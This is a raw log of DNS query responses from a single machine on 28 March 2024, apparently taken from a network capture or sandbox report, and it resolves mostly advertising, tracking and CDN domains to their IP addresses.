Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		35.173.144.25	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		3.209.99.206	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		3.230.240.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		50.19.121.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.minutemedia-prebid.com	cs.digbearings.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		3.209.99.206	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		50.19.121.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		3.230.240.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		107.20.136.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		34.233.219.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		52.205.90.189	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		54.243.220.127	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.443947077 CET	1.1.1.1	192.168.2.4	0x6192	No error (0)	cs.digbearings.com		35.173.144.25	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.446633101 CET	1.1.1.1	192.168.2.4	0x14e2	No error (0)	cs.minutemedia-prebid.com	cs.digbearings.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:04.911181927 CET	1.1.1.1	192.168.2.4	0x41a3	No error (0)	hbx.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:05.108243942 CET	1.1.1.1	192.168.2.4	0xd5d9	No error (0)	libs.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:05.108572006 CET	1.1.1.1	192.168.2.4	0xfaf6	No error (0)	libs.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:05.157274961 CET	1.1.1.1	192.168.2.4	0x5577	No error (0)	events-ssc.33across.com		34.117.239.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:05.759748936 CET	1.1.1.1	192.168.2.4	0xd625	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:05.759748936 CET	1.1.1.1	192.168.2.4	0xd625	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:05.759748936 CET	1.1.1.1	192.168.2.4	0xd625	No error (0)	nydc1.outbrain.org		70.42.32.95	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:05.760142088 CET	1.1.1.1	192.168.2.4	0xa287	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:05.760142088 CET	1.1.1.1	192.168.2.4	0xa287	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:06.192142010 CET	1.1.1.1	192.168.2.4	0xbb20	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:06.192142010 CET	1.1.1.1	192.168.2.4	0xbb20	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:06.193474054 CET	1.1.1.1	192.168.2.4	0x7a95	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:06.318228006 CET	1.1.1.1	192.168.2.4	0x2d3f	No error (0)	widgetmonitor.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:06.318228006 CET	1.1.1.1	192.168.2.4	0x2d3f	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:06.318965912 CET	1.1.1.1	192.168.2.4	0xeda7	No error (0)	widgetmonitor.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:06.318965912 CET	1.1.1.1	192.168.2.4	0xeda7	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:06.318965912 CET	1.1.1.1	192.168.2.4	0xeda7	No error (0)	nydc1.outbrain.org		64.202.112.159	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.395185947 CET	1.1.1.1	192.168.2.4	0x7b5e	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:07.395200968 CET	1.1.1.1	192.168.2.4	0xa8eb	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:07.395200968 CET	1.1.1.1	192.168.2.4	0xa8eb	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.222.105.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.395200968 CET	1.1.1.1	192.168.2.4	0xa8eb	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		100.24.217.221	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.395200968 CET	1.1.1.1	192.168.2.4	0xa8eb	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		35.175.33.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.395200968 CET	1.1.1.1	192.168.2.4	0xa8eb	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.215.42.230	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.396012068 CET	1.1.1.1	192.168.2.4	0x4123	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:07.397669077 CET	1.1.1.1	192.168.2.4	0x1cd	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:07.541049957 CET	1.1.1.1	192.168.2.4	0xa240	No error (0)	wam-google.solution.weborama.fr		91.216.195.7	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:08.968600035 CET	1.1.1.1	192.168.2.4	0x9f15	No error (0)	ps.eyeota.net		3.232.64.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:08.971345901 CET	1.1.1.1	192.168.2.4	0x5a8	Name error (3)	id.geistm.com	none	none	65	IN (0x0001)	false
Mar 28, 2024 09:52:08.971610069 CET	1.1.1.1	192.168.2.4	0x9a65	Name error (3)	id.geistm.com	none	none	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:09.069118977 CET	1.1.1.1	192.168.2.4	0x66fc	Name error (3)	id.geistm.com	none	none	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.578471899 CET	1.1.1.1	192.168.2.4	0xf2ff	No error (0)	us.ck-ie.com		8.2.110.97	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.578471899 CET	1.1.1.1	192.168.2.4	0xf2ff	No error (0)	us.ck-ie.com		8.2.110.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.578471899 CET	1.1.1.1	192.168.2.4	0xf2ff	No error (0)	us.ck-ie.com		8.2.110.70	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.604800940 CET	1.1.1.1	192.168.2.4	0x96b6	No error (0)	d.turn.com	d.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:10.619715929 CET	1.1.1.1	192.168.2.4	0xae1a	No error (0)	d.turn.com	d.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:10.966422081 CET	1.1.1.1	192.168.2.4	0x856a	No error (0)	loadus.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:10.966422081 CET	1.1.1.1	192.168.2.4	0x856a	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:10.966422081 CET	1.1.1.1	192.168.2.4	0x856a	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:10.966422081 CET	1.1.1.1	192.168.2.4	0x856a	No error (0)	load-use1.exelator.com		34.229.3.43	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.967649937 CET	1.1.1.1	192.168.2.4	0x990c	No error (0)	loadus.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:10.967649937 CET	1.1.1.1	192.168.2.4	0x990c	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:10.967649937 CET	1.1.1.1	192.168.2.4	0x990c	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:13.991683960 CET	1.1.1.1	192.168.2.4	0x4883	No error (0)	cdn.onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:13.991683960 CET	1.1.1.1	192.168.2.4	0x4883	No error (0)	cdn.onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:13.991926908 CET	1.1.1.1	192.168.2.4	0x1cfe	No error (0)	cdn.onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:14.498373032 CET	1.1.1.1	192.168.2.4	0xb4c1	No error (0)	aax-us-east.amazon-adsystem.com		52.46.151.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.502746105 CET	1.1.1.1	192.168.2.4	0x8467	No error (0)	sync.resetdigital.co		143.244.222.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.502746105 CET	1.1.1.1	192.168.2.4	0x8467	No error (0)	sync.resetdigital.co		159.89.252.170	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.502746105 CET	1.1.1.1	192.168.2.4	0x8467	No error (0)	sync.resetdigital.co		159.203.147.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.502746105 CET	1.1.1.1	192.168.2.4	0x8467	No error (0)	sync.resetdigital.co		138.197.63.78	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.502746105 CET	1.1.1.1	192.168.2.4	0x8467	No error (0)	sync.resetdigital.co		165.227.251.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.502746105 CET	1.1.1.1	192.168.2.4	0x8467	No error (0)	sync.resetdigital.co		143.244.220.80	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.518533945 CET	1.1.1.1	192.168.2.4	0x453	No error (0)	trace.mediago.io		35.208.249.213	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.520493984 CET	1.1.1.1	192.168.2.4	0x3157	No error (0)	cm.rtbsystem.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:14.520879030 CET	1.1.1.1	192.168.2.4	0x7d4	No error (0)	cm.rtbsystem.com		172.67.191.172	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.520879030 CET	1.1.1.1	192.168.2.4	0x7d4	No error (0)	cm.rtbsystem.com		104.21.68.74	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.521517038 CET	1.1.1.1	192.168.2.4	0x1d51	No error (0)	pxl.iqm.com		34.193.171.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.521517038 CET	1.1.1.1	192.168.2.4	0x1d51	No error (0)	pxl.iqm.com		54.88.142.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:20.893985033 CET	1.1.1.1	192.168.2.4	0x8c33	No error (0)	pixel-sync.sitescout.com		34.36.216.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.330785990 CET	1.1.1.1	192.168.2.4	0xd9d3	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.330785990 CET	1.1.1.1	192.168.2.4	0xd9d3	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.47	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.330785990 CET	1.1.1.1	192.168.2.4	0xd9d3	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.330785990 CET	1.1.1.1	192.168.2.4	0xd9d3	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.363723040 CET	1.1.1.1	192.168.2.4	0xf48d	No error (0)	service.bidlab.ai		8.2.108.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.555237055 CET	1.1.1.1	192.168.2.4	0xf8c2	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:21.555583954 CET	1.1.1.1	192.168.2.4	0x560c	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:21.555583954 CET	1.1.1.1	192.168.2.4	0x560c	No error (0)	securepubads46.g.doubleclick.net		142.250.31.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.555583954 CET	1.1.1.1	192.168.2.4	0x560c	No error (0)	securepubads46.g.doubleclick.net		142.250.31.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		52.71.188.136	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		52.70.178.63	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		54.166.87.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		52.86.217.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		52.3.141.88	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		52.6.135.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		52.54.15.240	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.205734968 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	sync.ipredictive.com		54.157.68.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.291984081 CET	1.1.1.1	192.168.2.4	0xef93	No error (0)	c.gumgum.com		18.160.18.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.291984081 CET	1.1.1.1	192.168.2.4	0xef93	No error (0)	c.gumgum.com		18.160.18.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.291984081 CET	1.1.1.1	192.168.2.4	0xef93	No error (0)	c.gumgum.com		18.160.18.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.291984081 CET	1.1.1.1	192.168.2.4	0xef93	No error (0)	c.gumgum.com		18.160.18.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.708647966 CET	1.1.1.1	192.168.2.4	0xbb8d	No error (0)	aax-us-east.amazon-adsystem.com		52.46.154.144	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.988286018 CET	1.1.1.1	192.168.2.4	0xb940	No error (0)	a.audrte.com		34.240.76.97	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.988286018 CET	1.1.1.1	192.168.2.4	0xb940	No error (0)	a.audrte.com		63.33.13.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.988286018 CET	1.1.1.1	192.168.2.4	0xb940	No error (0)	a.audrte.com		52.215.59.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.988286018 CET	1.1.1.1	192.168.2.4	0xb940	No error (0)	a.audrte.com		34.255.73.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.988286018 CET	1.1.1.1	192.168.2.4	0xb940	No error (0)	a.audrte.com		18.200.218.222	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.988286018 CET	1.1.1.1	192.168.2.4	0xb940	No error (0)	a.audrte.com		3.248.111.133	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor.omnitagjs.com	visitor-us-west-2.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		52.89.105.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		44.230.65.192	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		35.166.23.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		52.12.180.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		34.223.242.45	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		52.34.209.244	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		52.41.55.190	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.011962891 CET	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	visitor-us-west-2.omnitagjs.com		35.164.87.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.018774986 CET	1.1.1.1	192.168.2.4	0x3b44	No error (0)	visitor.omnitagjs.com	visitor-us-west-2.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:24.024003029 CET	1.1.1.1	192.168.2.4	0xa035	No error (0)	io.narrative.io		35.173.149.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.024003029 CET	1.1.1.1	192.168.2.4	0xa035	No error (0)	io.narrative.io		52.200.68.73	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.024003029 CET	1.1.1.1	192.168.2.4	0xa035	No error (0)	io.narrative.io		52.71.168.94	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.024003029 CET	1.1.1.1	192.168.2.4	0xa035	No error (0)	io.narrative.io		54.243.248.122	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.037710905 CET	1.1.1.1	192.168.2.4	0x66bb	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:24.037710905 CET	1.1.1.1	192.168.2.4	0x66bb	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039043903 CET	1.1.1.1	192.168.2.4	0xcde4	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		141.94.170.77	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		141.94.171.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		141.94.170.64	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		141.94.171.214	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		141.94.171.212	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		141.94.171.216	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		15.235.15.221	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		141.94.171.213	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		146.59.148.16	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.039910078 CET	1.1.1.1	192.168.2.4	0x945	No error (0)	pixel.onaudience.com		51.222.80.231	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.082519054 CET	1.1.1.1	192.168.2.4	0x731f	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.082519054 CET	1.1.1.1	192.168.2.4	0x731f	No error (0)	d1ykf07e75w7ss.cloudfront.net		3.162.128.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.083367109 CET	1.1.1.1	192.168.2.4	0x769d	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.309082985 CET	1.1.1.1	192.168.2.4	0x41da	No error (0)	intake.pbstck.com		172.67.25.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.309082985 CET	1.1.1.1	192.168.2.4	0x41da	No error (0)	intake.pbstck.com		104.22.1.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.309082985 CET	1.1.1.1	192.168.2.4	0x41da	No error (0)	intake.pbstck.com		104.22.0.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.327183008 CET	1.1.1.1	192.168.2.4	0x4d0f	No error (0)	js.gumgum.com		18.160.41.42	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.327183008 CET	1.1.1.1	192.168.2.4	0x4d0f	No error (0)	js.gumgum.com		18.160.41.33	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.327183008 CET	1.1.1.1	192.168.2.4	0x4d0f	No error (0)	js.gumgum.com		18.160.41.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.327183008 CET	1.1.1.1	192.168.2.4	0x4d0f	No error (0)	js.gumgum.com		18.160.41.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.730446100 CET	1.1.1.1	192.168.2.4	0x974f	No error (0)	aax-eu.amazon-adsystem.com		52.94.223.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.772351980 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	m.media-amazon.com	tp.c47710ee9-frontier.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.772351980 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	tp.c47710ee9-frontier.media-amazon.com	c.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.772351980 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	c.media-amazon.com		108.138.83.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.773113966 CET	1.1.1.1	192.168.2.4	0x307f	No error (0)	m.media-amazon.com	tp.c47710ee9-frontier.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.773113966 CET	1.1.1.1	192.168.2.4	0x307f	No error (0)	tp.c47710ee9-frontier.media-amazon.com	a.media-amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.773113966 CET	1.1.1.1	192.168.2.4	0x307f	No error (0)	a.media-amazon.com	a.media-amazon.com.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.774174929 CET	1.1.1.1	192.168.2.4	0x96ce	No error (0)	jelly.mdhv.io		216.239.32.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.774174929 CET	1.1.1.1	192.168.2.4	0x96ce	No error (0)	jelly.mdhv.io		216.239.38.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.774174929 CET	1.1.1.1	192.168.2.4	0x96ce	No error (0)	jelly.mdhv.io		216.239.34.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.774174929 CET	1.1.1.1	192.168.2.4	0x96ce	No error (0)	jelly.mdhv.io		216.239.36.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.882726908 CET	1.1.1.1	192.168.2.4	0xae00	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.882841110 CET	1.1.1.1	192.168.2.4	0x8d18	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.882841110 CET	1.1.1.1	192.168.2.4	0x8d18	No error (0)	d1ykf07e75w7ss.cloudfront.net		3.162.128.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.883153915 CET	1.1.1.1	192.168.2.4	0x67d5	No error (0)	ts.amazon-adsystem.com	d21t3ooy68jlh9.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.883153915 CET	1.1.1.1	192.168.2.4	0x67d5	No error (0)	d21t3ooy68jlh9.cloudfront.net		52.85.132.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.883153915 CET	1.1.1.1	192.168.2.4	0x67d5	No error (0)	d21t3ooy68jlh9.cloudfront.net		52.85.132.95	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.883153915 CET	1.1.1.1	192.168.2.4	0x67d5	No error (0)	d21t3ooy68jlh9.cloudfront.net		52.85.132.73	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.883153915 CET	1.1.1.1	192.168.2.4	0x67d5	No error (0)	d21t3ooy68jlh9.cloudfront.net		52.85.132.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.883924007 CET	1.1.1.1	192.168.2.4	0x4d38	No error (0)	ts.amazon-adsystem.com	d21t3ooy68jlh9.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.972687006 CET	1.1.1.1	192.168.2.4	0xbd33	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.972687006 CET	1.1.1.1	192.168.2.4	0xbd33	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:25.977277994 CET	1.1.1.1	192.168.2.4	0x9d6a	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
